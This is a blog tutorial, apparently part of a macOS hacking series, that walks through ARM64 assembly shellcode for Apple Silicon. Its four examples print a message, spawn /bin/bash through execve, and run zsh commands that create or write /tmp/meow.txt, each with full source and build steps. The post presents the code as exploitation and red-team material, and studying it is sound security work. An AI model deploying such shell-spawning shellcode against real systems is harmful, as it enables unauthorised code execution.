11 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

In this article, I will walk you through an assembly code that writes a simple message and run shell on a macOS system using M1 ARM64 architecture. We will go through the code step by step, explaining each part in simple terms.

practical example

First example is pretty simple: macOS ARM64 shellcode for “Meow\n” to stdout. Start from setting up the write syscall:

mov     x0, #1

The logic is x0 = 1, this register is used for the first syscall argument: the file descriptor. Here, 1 is stdout.

adr     x1,msg

x1 = address of msg. ARM64 doesn’t use lea like x86_64, but adr works: it puts the address of the msg string into x1 (the second syscall argument).

Then:

mov     x2,#5

This is just: x2 = 5. This is the length of the message (“Meow\n” is 5 bytes).

At the next step, we need a calling the kernel (write syscall). Something like this:

movz    x16, #0x4           ; x16 = 0x00000004
movk    x16, #0x2000, lsl #16 ; x16 = 0x00200004
svc     #0x80               ; make syscall

As you can see, from comments: x16 = syscall number. On macOS ARM64, syscalls use a big number: 0x2000004 for write. movz loads the low 16 bits, then movk fills in the higher bits. svc #0x80 triggers the kernel: perform the syscall.

Then, finally, exit cleanly, like this:

; exit(0)
mov     x0, #0
movz    x16, #0x1
movk    x16, #0x2000, lsl #16
svc     #0x80

x0 = 0 - exit code, then x16 = 0x2000001. That’s the exit syscall. svc #0x80 again: make the syscall.

The data:

; --- data ---
    .align 2
msg:
    .ascii  "Meow\n"

Just the message, raw in the binary.

What is the difference from x86_64 (Intel) shellcode on macOS?

First of all, syscall calling convention! For example, arguments: x0,x1,x2..... Syscall numbers are much bigger on macOS ARM64 (e.g., 0x2000004 for write). Also as I wrote before, x86_64 uses lea to get addresses, but ARM uses adr or adrp/add combo.

In general, for shellcoding on ARM64: You can’t just mov x16, #0x2000004 - it doesn’t fit! What is the solution? We build it with movz and movk.

Shellcoding on ARM64 means learning new tricks and register names - but conceptually, it’s still “put your arguments in order, put your syscall number in the magic register, trap to the kernel, profit.”

So full source code looks like this meow.s:

; macOS ARM64 shellcode: write "Meow\n" to stdout
; author cocomelonc
; https://cocomelonc.github.io/macos/2025/07/18/malware-mac-6.html

.global _start

.section __TEXT,__text

_start:
    ; write(1, buf, 5)
    mov     x0, #1              ; fd = 1 (stdout)
    adr     x1, msg             ; buffer pointer
    mov     x2, #5              ; length = 5

    movz    x16, #0x4           ; x16 = 0x00000004
    movk    x16, #0x2000, lsl #16 ; x16 = 0x00200004
    svc     #0x80               ; make syscall

    ; exit(0)
    mov     x0, #0
    movz    x16, #0x1
    movk    x16, #0x2000, lsl #16
    svc     #0x80

    ; --- data ---
    .align 2
msg:
    .ascii  "Meow\n"

demo 1

Let’s go to see first example in action. Compile it:

as -arch arm64 meow.s -o meow.o

malware

Then, try to link:

ld -arch arm64 -macosx_version_min 14.0 -e _start -o meow meow.o

But, we have an error:

malware

So, we need run another command. First of all check this:

xcrun --sdk macosx --show-sdk-path

malware

As you can see, in my case (MacBook Air on M1 with Mac OS X 15), we have /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk

So, update our command for linking:

ld -arch arm64 -e _start -o meow meow.o -lSystem -syslibroot $(xcrun --sdk macosx --show-sdk-path)

malware

As you can see, successfully linked, then run:

./meow

malware

malware

malware

malware

Everything is worked perfectly as expected! =^..^=

practical example 2

Let’s break down macOS ARM64 shellcode for running /bin/bash (works the same for /bin/zsh - we need just change the string).

First of all, we need to prepare the /bin/bash string:

adrp    x1, binzsh@page
add     x1, x1, binzsh@pageoff

adrp and add load the address of the string /bin/bash into x1. On ARM64, you can’t just lea like x86. You need this 2-step trick for PC-relative addressing.

Then, prepare argv array ([ "/bin/bash", NULL ]) like this:

; prepare argv ["/bin/bash", NULL] on the stack
sub     sp, sp, 16
str     x1, [sp]
mov     x2, #0
str     x2, [sp, #8]

sp points to the start of our new stack array, argv[0] is pointer to the path, argv[1] is NULL.

At the next step set up registers for execve, in this case x0 - filename, x1 - argv array and x2 - envp (environment):

mov     x0, x1          ; path
mov     x1, sp          ; argv
mov     x2, xzr         ; envp

Syscall execve:

; syscall execve (0x200003b)
movz    x16, #0x3b
movk    x16, #0x2000, lsl #16
svc     #0x80

Here, x16 = syscall number for execve (0x200003b on macOS/ARM64).

Finally, if execve fails, just exit with code 1:

; fallback exit(1)
mov     x0, #1
movz    x16, #0x1
movk    x16, #0x2000, lsl #16
svc     #0x80

Also add null-terminated string for the shell path in data section.

Full source code for this example looks like this hack.s:

; macOS ARM64 shellcode: run "/bin/bash"
; author cocomelonc
; https://cocomelonc.github.io/macos/2025/07/18/malware-mac-6.html

.global _start

.section __TEXT,__text

_start:
    ; prepare string "/bin/bash" on the stack
    adrp    x1, binzsh@page
    add     x1, x1, binzsh@pageoff

    ; prepare argv ["/bin/bash", NULL] on the stack
    sub     sp, sp, 16
    str     x1, [sp]
    mov     x2, #0
    str     x2, [sp, #8]

    mov     x0, x1          ; path
    mov     x1, sp          ; argv
    mov     x2, xzr         ; envp

    ; syscall execve (0x200003b)
    movz    x16, #0x3b
    movk    x16, #0x2000, lsl #16
    svc     #0x80

    ; fallback exit(1)
    mov     x0, #1
    movz    x16, #0x1
    movk    x16, #0x2000, lsl #16
    svc     #0x80

    .align 2
binzsh:
    .asciz "/bin/bash"

demo 2

Let’s go to see in action this second example. Compile it:

as -arch arm64 hack.s -o hack.o

malware

Then link it:

ld -arch arm64 -e _start -o hack hack.o -lSystem -syslibroot $(xcrun --sdk macosx --show-sdk-path)

malware

As you can see, successfully linked, then run:

./hack

malware

malware

malware

As you can see, everything is worked perfectly! Shell spawned! =^..^=

practical example 3

Let’s create code an ARM64 assembly shellcode for macOS that launches /bin/zsh with the -c argument to execute some command, for example: touch /tmp/meow.txt.

The logic is pretty simple. From the previous example we know that execve expects three parameters, char *fname - the full path to the executable (name of the command to executed), char *argv[] - a pointer to an array of strings with the command-line arguments (ending with a null pointer), and char *envp[] - a pointer to an array of environment variable strings, which in our case we just set to NULL.

According to the calling convention, the three arguments need to be placed in registers X0, X1, and X2. Since X1 should hold a pointer to an array of string pointers (i.e., char pointers), we need to arrange these addresses consecutively in memory and set X1 to point to the start of that area. To do this, we push the addresses of fname (which is arg0), arg1, and arg2 onto the stack, followed by a null pointer (8 zero bytes) for proper alignment. In this example, the resulting memory layout will look like this:

malware

In other words, we first load the path to the executable (/bin/zsh) and the arguments (-c and the command string) into memory. Next, we set up an argv array on the stack, where each entry is a pointer to a string (fname, arg1, and arg2), followed by a NULL pointer for termination. According to the ARM64 macOS calling convention, we place the path, the address of our argv array, and a NULL pointer for environment variables into the X0, X1, and X2 registers, respectively.

We then invoke the execve system call using the appropriate syscall number for macOS ARM64 (0x200003b). If, for some reason, execve fails, we call exit(1) to terminate the process gracefully.

Full source code looks like this (hack2.s):

; macOS ARM64: execve("/bin/zsh", ["-c", "touch /tmp/meow.txt"], NULL)

.global _start

.section __TEXT,__text

.align 2
_start:
  ; set up pointer to "/bin/zsh"
  adrp    x0, fname@page          ; x0 = page address of fname
  add     x0, x0, fname@pageoff   ; x0 = pointer to "/bin/zsh"

  ; prepare stack space for argv[] (three pointers: fname, arg1, arg2, NULL)
  sub     sp, sp, #32             ; allocate 4 * 8 bytes (32 bytes) on stack

  ; set up argv[0] = pointer to "/bin/zsh"
  adrp    x1, fname@page
  add     x1, x1, fname@pageoff
  str     x1, [sp, #0]

  ; set up argv[1] = pointer to "-c"
  adrp    x2, arg1@page
  add     x2, x2, arg1@pageoff
  str     x2, [sp, #8]

  ; set up argv[2] = pointer to "touch /tmp/meow.txt"
  adrp    x3, arg2@page
  add     x3, x3, arg2@pageoff
  str     x3, [sp, #16]

  ; set up argv[3] = NULL
  mov     x4, xzr                 ; x4 = 0
  str     x4, [sp, #24]

  ; x0: path
  ; x1: argv (pointer to argv[0])
  ; x2: envp (NULL)
  mov     x1, sp                  ; x1 = pointer to argv[]
  mov     x2, xzr                 ; x2 = NULL

  ; prepare execve syscall number for macOS (0x200003b)
  movz    x16, #0x3b
  movk    x16, #0x2000, lsl #16

  ; syscall: execve("/bin/zsh", argv, NULL)
  svc     #0x80

  ; if execve fails, exit(1)
  mov     x0, #1
  movz    x16, #0x1
  movk    x16, #0x2000, lsl #16
  svc     #0x80

; ---- data section
.align 2
fname:
  .asciz "/bin/zsh"
.align 2
arg1:
  .asciz "-c"
.align 2
arg2:
  .asciz "touch /tmp/meow.txt"

This is a classic example of process spawning shellcode that demonstrates how to execute system commands from assembly on Apple Silicon (M1/M2) Macs.

demo 3

Let’s go to see everything in action. Compile it:

as -arch arm64 hack2.s -o hack2.o

malware

Then, linking this example:

ld -arch arm64 -e _start -o hack2 hack2.o -lSystem -syslibroot $(xcrun --sdk macosx --show-sdk-path)

Before run it, check /tmp/ dir:

ls -lht /tmp/

malware

Then, run:

./hack2

and check again:

malware

As you can see, everything is worked perfectly again! =^..^=

practical example 4

What about write something to /tmp/meow.txt? For this just use this full source code hack3.s:

; macOS ARM64: execve("/bin/zsh", ["-c", 'echo "Meow" > /tmp/meow.txt'], NULL)
.global _start

.section __TEXT,__text

.align 2
_start:
  ; x0 = path to "/bin/zsh"
  adrp    x0, fname@page
  add     x0, x0, fname@pageoff

  ; prepare stack space for argv[] (4 pointers: fname, arg1, arg2, NULL)
  sub     sp, sp, #32

  ; argv[0] = "/bin/zsh"
  adrp    x1, fname@page
  add     x1, x1, fname@pageoff
  str     x1, [sp, #0]

  ; argv[1] = "-c"
  adrp    x2, arg1@page
  add     x2, x2, arg1@pageoff
  str     x2, [sp, #8]

  ; argv[2] = "echo \"Meow\" > /tmp/meow.txt"
  adrp    x3, arg2@page
  add     x3, x3, arg2@pageoff
  str     x3, [sp, #16]

  ; argv[3] = NULL
  mov     x4, xzr
  str     x4, [sp, #24]

  ; x1 = argv[]
  mov     x1, sp

  ; x2 = envp = NULL
  mov     x2, xzr

  ; syscall number for execve: 0x200003b (macOS ARM64)
  movz    x16, #0x3b
  movk    x16, #0x2000, lsl #16
  svc     #0x80

  ; if execve fails, exit(1)
  mov     x0, #1
  movz    x16, #0x1
  movk    x16, #0x2000, lsl #16
  svc     #0x80

;; --- data section ---
.align 2
fname:
  .asciz "/bin/zsh"
.align 2
arg1:
  .asciz "-c"
.align 2
arg2:
  .asciz "echo \"Meow\" > /tmp/meow.txt"

The only difference between this version and the previous one is the command we pass to /bin/zsh as the third argument in argv[2]. Instead of just touching a file (creating an empty file with touch /tmp/meow.txt), we are now writing a string into the file using the shell’s built-in echo.

The main logic remains unchanged. We still set up the path to /bin/zsh in x0, we still prepare the argv array on the stack, then we point x1 to the stack and set x2 (the environment) to NULL. Finally, we call the execve syscall using the macOS ARM64.

This demonstrates how we can leverage shell features (like output redirection) within our ARM64 shellcode to perform more complex actions using a single system call.

demo 4

Let’s go to see this in action. Compile it:

as -arch arm64 hack3.s -o hack3.o

malware

Then, linking this example:

ld -arch arm64 -e _start -o hack3 hack3.o -lSystem -syslibroot $(xcrun --sdk macosx --show-sdk-path)

Then, run and check file content:

./hack3
cat /tmp/meow.txt

malware

As you can see, everything is worked perfectly: Meow string is written to our file! =^..^=

attention!

But we have some caveats. Once we get to writing shellcode, we want to avoid any null-bytes. For this reason I will show you source code for this examples that does not contain any null-bytes in the next few blog posts.

conclusion

The ARM64 assembly shellcode for macOS is a minimalistic and position-independent routine that interacts directly with the kernel via system calls. It places all required arguments in the appropriate registers and encodes syscall numbers using the specific ARM64 idiom with movz and movk instructions, as required by macOS conventions.

For data such as command-line strings or output text, it leverages either the stack or inline data within the binary, carefully managing addresses using relative instructions like adr or adrp/add. The code constructs necessary argument arrays for syscalls like execve manually, respecting calling conventions for argv and envp pointers.

The entire payload is crafted to avoid dependencies on any external libraries or absolute addresses, making it highly portable and practical for use in real-world exploitation or red teaming scenarios.

I hope this post is useful for malware researchers, macOS/Apple security researchers, ASM programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

macOS hacking part 1
macOS hacking part 2
macOS hacking part 3
macOS hacking part 4
macOS hacking part 5
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine